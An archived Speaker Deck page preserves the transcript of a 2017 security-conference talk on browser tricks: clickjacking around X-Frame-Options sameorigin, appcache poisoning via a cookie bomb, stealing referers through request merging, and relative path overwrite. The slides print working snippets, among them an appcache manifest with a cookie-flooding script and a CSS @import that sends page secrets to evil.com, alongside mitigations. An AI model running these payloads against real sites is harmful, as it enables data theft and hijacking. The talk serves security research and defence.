Exploiting the unexploitable with lesser known browser tricks

Exploiting the unexploitable with lesser known browser tricks - filedescriptor, Speaker Deck.

- Published: 2017-05-11
- Original: <https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks>
- Preserved from: https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks (live) on 2026-08-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Exploiting the unexploitable with lesser known browser tricks - Speaker Deck

Exploiting the unexploitable with lesser known browser tricks

[image: Avatar for filedescriptor]

filedescriptor

May 11, 2017

More Decks by filedescriptor

See All by filedescriptor

The Cookie Monster in Your Browsers

[[image: Avatar for filedescriptor] filedescriptor](https://speakerdeck.com/filedescriptor)

15

24k

Killing with

[[image: Avatar for filedescriptor] filedescriptor](https://speakerdeck.com/filedescriptor)

7

7.4k

Other Decks in Technology

See All in Technology

ver2.0

[[image: Avatar for Recruit] recruitengineers](https://speakerdeck.com/recruitengineers)

PRO

3

1.1k

[[image: Avatar for] masuda220](https://speakerdeck.com/masuda220)

PRO

17

6.6k

20260801_

[[image: Avatar for hikari] kgnkhkr](https://speakerdeck.com/kgnkhkr)

2

1.2k

[[image: Avatar for] techniczna](https://speakerdeck.com/techniczna)

2

960

SRE SRE NEXT 2026

[[image: Avatar for sorawatanabe] sorawatanabe](https://speakerdeck.com/sorawatanabe)

0

130

[[image: Avatar for Etsuji Nakai] enakai00](https://speakerdeck.com/enakai00)

3

3.6k

Redmine 7.0 OSC2026

[[image: Avatar for MAEDA Go] vividtone](https://speakerdeck.com/vividtone)

1

200

2026

[[image: Avatar for Recruit] recruitengineers](https://speakerdeck.com/recruitengineers)

PRO

4

770

CEDEC2026

[[image: Avatar for Cygames, Inc.] cygames](https://speakerdeck.com/cygames)

PRO

1

200

CEDEC2026 Relink - GRANBLUE FANTASY: Relink - Endless Ragnarok CI

[[image: Avatar for Cygames, Inc.] cygames](https://speakerdeck.com/cygames)

PRO

0

140

AlloyDB

[[image: Avatar for hatappi] hatappi](https://speakerdeck.com/hatappi)

0

240

SRE / Rethinking SRE #1: Building and Growing SRE Teams

[[image: Avatar for rrreeeyyy] rrreeeyyy](https://speakerdeck.com/rrreeeyyy)

6

1k

Featured

See All Featured

How to Get Subject Matter Experts Bought In and Actively Contributing to SEO & PR Initiatives.

[[image: Avatar for Liv Day] livdayseo](https://speakerdeck.com/livdayseo)

0

170

brightonSEO & MeasureFest 2025 - Christian Goodrich - Winning strategies for Black Friday CRO & PPC

[[image: Avatar for Christian Goodrich].jpg) cargoodrich](https://speakerdeck.com/cargoodrich)

3

760

Testing 201, or: Great Expectations

[[image: Avatar for Joseph Mastey] jmmastey](https://speakerdeck.com/jmmastey)

46

8.2k

HTML-Aware ERB: The Path to Reactive Rendering @ RubyCon 2026, Rimini, Italy

[[image: Avatar for Marco Roth] marcoroth](https://speakerdeck.com/marcoroth)

3

410

How to Talk to Developers About Accessibility

[[image: Avatar for Jason CranfordTeague] jct](https://speakerdeck.com/jct)

2

490

Large-scale JavaScript Application Architecture

[[image: Avatar for Addy Osmani] addyosmani](https://speakerdeck.com/addyosmani)

515

110k

Deep Space Network (abreviated)

[[image: Avatar for Tony Rice] tonyrice](https://speakerdeck.com/tonyrice)

0

250

Building Applications with DynamoDB

[[image: Avatar for Matt Wood] mza](https://speakerdeck.com/mza)

96

7.2k

Docker and Python

[[image: Avatar for Tania Allard] trallard](https://speakerdeck.com/trallard)

47

4.1k

Leveraging LLMs for student feedback in introductory data science courses - posit::conf(2025)

[[image: Avatar for Mine Cetinkaya-Rundel] minecr](https://speakerdeck.com/minecr)

1

330

My Coaching Mixtape

[[image: Avatar for mlcsv] mlcsv](https://speakerdeck.com/mlcsv)

0

200

Learning to Love Humans: Emotional Interface Design

[[image: Avatar for Aarron Walter] aarron](https://speakerdeck.com/aarron)

275

41k

Transcript

-

Exploiting the unexploitable with lesser known browser tricks @AppsecEU2017

-

How is a cat the speaker? • @filedescriptor • Pentester

for Cure53 • Browser & Web Security • #1 at Twitter " Bounty Program ??

-

–Every site that uses XFO “Clickjacking is a solved problem”

-

X-Frame-Options Value Should I use it? Why ALLOWALL Nope As

its name suggests ALLOW-FROM uri Nope Not work on Webkit/Blink DENY Yup Not framable at all SAMEORIGIN Yup? Not framable by other sites

-

XFO: sameorigin Expectation Reality

-

What does that mean? • Sites that frame untrusted pages

are still vulnerable • but... • who is stupid enough to allow untrusted frames?

-

Google AMP https://google.com/amp/s/yoursite.com

-

None

-

Site-wide XFO: sameorigin

-

Top frame: google.com Intermediate frame: innerht.ml Child frame: google.com

-

Twitter Player Card

-

<script> var twttr = twttr || {}; if (self !=

top) { document.documentElement.style.display = 'none'; } </script> but, anti-frame-buster <iframe src="https://twitter.com/oauth/authorize" sandbox="allow-forms"></iframe> In addition to XFO there's frame-buster

-

Top frame: twitter.com Intermediate frame: innerht.ml Child frame: twitter.com

-

None

-

XFO: sameorigin considered harmful • For researchers: • Don't give

up when you see XFO: sameorigin • Look for places where untrusted frames are allowed • For site owners: • Use Content-Security-Policy: frame-ancestors (except IE) • Don't allow untrusted frames

-

–Every bug bounty program "XSS on sandboxed domains is out-of-scope"

-

None

-

Service Worker's scope # https://dl.drop/u/evil/worker.js https://dl.drop/u/evil/stuff https://dl.drop/u/legit/stuff

-

https://dl.drop/u/evil/hack.html https://dl.drop/u/evil%2fworker.js (https://dl.drop/u/evil/worker.js) & https://dl.drop/u/legit/foo.exe & https://dl.drop/u/evil/virus.exe / -> %2f

(server-sider decoding)

-

None

-

None

-

Service Worker has an older brother

-

Appcache <html manifest="manifest.txt"> </html> Content-Type: text/cache-manifest is not mandatory

-

Appcache's fallback 404.html backup.html If a response is inaccessible, fallback

file will be served instead

-

Appcache - scope + error = Service Worker

-

Cookie Bomb

-

Cookie '+ Appcache = ? 1. Set many cookies on

root path 2. Requests to every file will result in HTTP 413 3. Appcache's fallback kicks in and replaces the response 4. ??? 5. Profit!

-

AppCache Poisioning https://dl.drop/u/evil/hack.html https://dl.drop/u/evil/manifest.txt & https://dl.drop/u/legit/foo.exe (HTTP 413) & https://dl.drop/u/evil/virus.exe

(fallback)

-

Attack in action CACHE MANIFEST # Permanently cache the manifest

file itself manifest.txt # Route all traffic to poison.html FALLBACK: / poison.html <html manifest="manifest.txt"> <script> for(var i = 1e2; i--) document.cookie = i + '=' + Array(4e3).join(0) + '; path=/'; </script> </html> attack.html manifest.txt

-

Impact • Requests/responses will be persistently hijacked • The only

way to get rid of it is users manually clear cookies/appcache

-

How to “patch” it • Put your sandboxed domains onto

Public Suffix List • domains on the list cannot have cookies • Avoid directly serving HTML files • Optimally, serve user generated contents on different subdomains instead of directories

-

None

-

–Every lazy developer “When in doubt, validate Referer”

-

Real world scenario • Assuming appA.com wants to share authenticated

user info to its partners • It uses JSONP to transfer the data • It checks if the importing website is its partners by validating referer

-

callback({"user":...)} https://appA.com/user.js https://appB.com/ https://appC.com/ https://evil.com/ Referer: appB.com Referer: appC.com Referer:

evil.com

-

9 catz but only 1 request! Observation

-

<img src="cat.png"> <img src="cat.png"> <img src="cat.png"> <img src="cat.png"> <img src="cat.png">

<img src="cat.png"> <img src="cat.png"> <img src="cat.png"> <img src="cat.png"> } GET cat.png HTTP/1.1

-

<img src="cat.png?1"> <img src="cat.png?2"> <img src="cat.png?3"> <img src="cat.png?4"> <img src="cat.png?5">

<img src="cat.png?6"> <img src="cat.png?7"> <img src="cat.png?8"> <img src="cat.png?9"> GET cat.png?1 HTTP/1.1 GET cat.png?2 HTTP/1.1 GET cat.png?3 HTTP/1.1 GET cat.png?4 HTTP/1.1 GET cat.png?5 HTTP/1.1 GET cat.png?6 HTTP/1.1 GET cat.png?7 HTTP/1.1 GET cat.png?8 HTTP/1.1 GET cat.png?9 HTTP/1.1

-

Request merging • If multiple same simple requests are issued

at the simultaneously, they will be merged into one (Chrome, Safari & IE) • Same being same URL and same initiator • Simple being GET requests and simple initiators (script, style, image, ...) • Simultaneously being if there is an unfinished same request

-

URL Initiator Same unfinished requests will be merged New request

if no unfinished requests <script src="jquery.js" defer></script> <script src="jquery.js" defer> </script> <!-- delay 2 seconds --> <script src="jquery.js" defer></script>

-

It works on iframes too! merged jquery.js

-

Wait, what about the referer?

-

Headers are not considered • Requests are merged even if

they have different request headers • If siteA and siteB imports the same script in the same tab simultaneously, they share the first issued request

-

Stealin' the referer merged https://appA.com/user.js

-

attacker.com victim.com appA.com/user.js appA.com/user.js iframe script scr ipt merged Referer: victim.com

-

Referer validation is fragile • There were and will be

tons of ways to forge referer • Always assume referer is not a reliable source (I'm (ing at you Twitter) • User CORS for cross-origin requests

-

–Every site that has more than one domain "Why absolute

when you can relative"

-

Relative Path Overwrite http://example.com/foo/bar.php main.css /foo/main. css

-

Relative Path Overwrite http://example.com/foo/bar.php/1337 main.css /foo/ bar.php/main.css

-

Quirks mode ignores CSS errors <html> <head> <link href="main.css" rel="styl esheet">

</head> <body> {}*{background:red} </body> </html> bar.php

-

Relative Path Overwrite http://example.com/foo/bar.php/1337 /foo/bar.php/ main.css main.css This part server doesn't

care

-

Things you can do • XSS via expression/scriptlet on IE

(requires old versions/compat mode) • Leak current URL via Referer • Steal secret contents

-

You can't steal secrets if there's no secrets <html> <head>

<link href="main.css" rel="stylesheet"> </head> <body> {}*{background:red} </body> </html>

-

RPO Gadget • Not ROP Gadget • The “stylesheet” itself

does not contain secrets • But you can import another “stylesheet” that contains secrets • It’s like using the “stylesheets” as gadgets

-

<html> <head> <link href="main.css" rel="stylesheet"> </head> <body> {}@import'../admin.php' </body> </html>

bar.php <html> <head> </head> <body> {}@import"//evil.com/? secret </body> </html> admin.php http://evil.com/? secret...

-

Google Toolbar

-

RPO = CSS abuse?

-

IE doesn’t know how to decode URL in redirect HTTP/1.1

302 Found Location: http://example.com/foo/bar.jsp;/.%2e/.%2e/1337 GET /foo/bar.jsp;/.%2e/.%2e/1337 HTTP/1.1 http://example.com/1337

-

Controlling JS path http://example.com/1337 main.js /main.js http://example.com/foo/bar.jsp;/.%2e/.%2e/1337 /foo/main.js Server sees

Expected Imported

-

Google Fusion Table

-

scripts imported with relative path

-

Attack in action https://www.google.com/amp/innerht.ml js/gvizchart_all_js.js /amp/innerht.ml/ js/gvizchart_all_js.js https://www.google.com /fusiontables/DataSource;/.%2e/.%2e/amp/innerht.ml?docid=foobar /fusiontables/

js/gvizchart_all_js.js https://innerht.ml/js/gvizchart_all_js.js (302 Redirect) Server sees Expected Imported

-

None

-

How to tell if a site is vulnerable? • If

there is a web page in which • it returns the same response even if appended ;/.%2e/.%2e • There's a scripts imported with relative path • There's a path-based open redirect

-

Moral of the story • Relative paths are dangerous •

There are even more similar quirks waiting to be discovered • You should configure the server such that paths with trailing junks are considered separate routes

-

Recap • XFO: sameorigin • Sandboxed domain cookies • Referer

based protection • Relative path & lax server configuration

-

Questions? Comments? Thank you very much!